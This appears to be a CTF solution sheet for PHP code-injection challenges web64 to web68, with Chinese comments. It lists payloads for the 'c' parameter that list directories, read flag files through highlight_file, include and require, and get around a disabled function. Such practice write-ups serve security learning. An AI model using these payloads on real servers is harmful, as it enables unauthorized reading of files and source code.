1.web64
payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=print_r(scandir(dirname(__FILE__)));#扫描当前目录有什么文件
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";} #扫描当前目录有什么文件"
c=print_r(scandir(current(localeconv())));#扫描当前目录有什么文件
c=highlight_file(next(array_reverse(scandir((dirname(__FILE__))))));
2.web65
payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=print_r(scandir(dirname(__FILE__)));#扫描当前目录有什么文件
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";} #扫描当前目录有什么文件"
c=print_r(scandir(current(localeconv())));#扫描当前目录有什么文件
c=highlight_file(next(array_reverse(scandir((dirname(__FILE__))))));
3.web66
通过这里发现flag不flag.php里,需要进行扫描目录下的文件
c=print_r(scandir('/'));#扫描根目录有什么文件
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=highlight_file('/flag.txt');
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');
4.web67
通过这里发现flag不flag.php里,需要进行扫描目录下的文件
payload:
c=highlight_file('/flag.txt');
c=print_r(scandir('/'));#扫描根目录有什么文件
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');
5.web68
可以看到highlight_file函数被禁用了,由上题的可知源码,还是传入c参数执行c
__toString是一种魔术方法,用于一个类被当成字符串时应怎样回应,比如输出对象时
glob:// 查找匹配的文件路径模式,glob:///'查找根目录下的所有文件及文件夹,glob://.php查找当前目录下后缀是php的文件
DirectoryIterator是php的一个标准类,用于文件遍历,参数是文件路径
payload:
c=var_dump(scandir('/'));#扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} #扫描根目录有什么文件
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');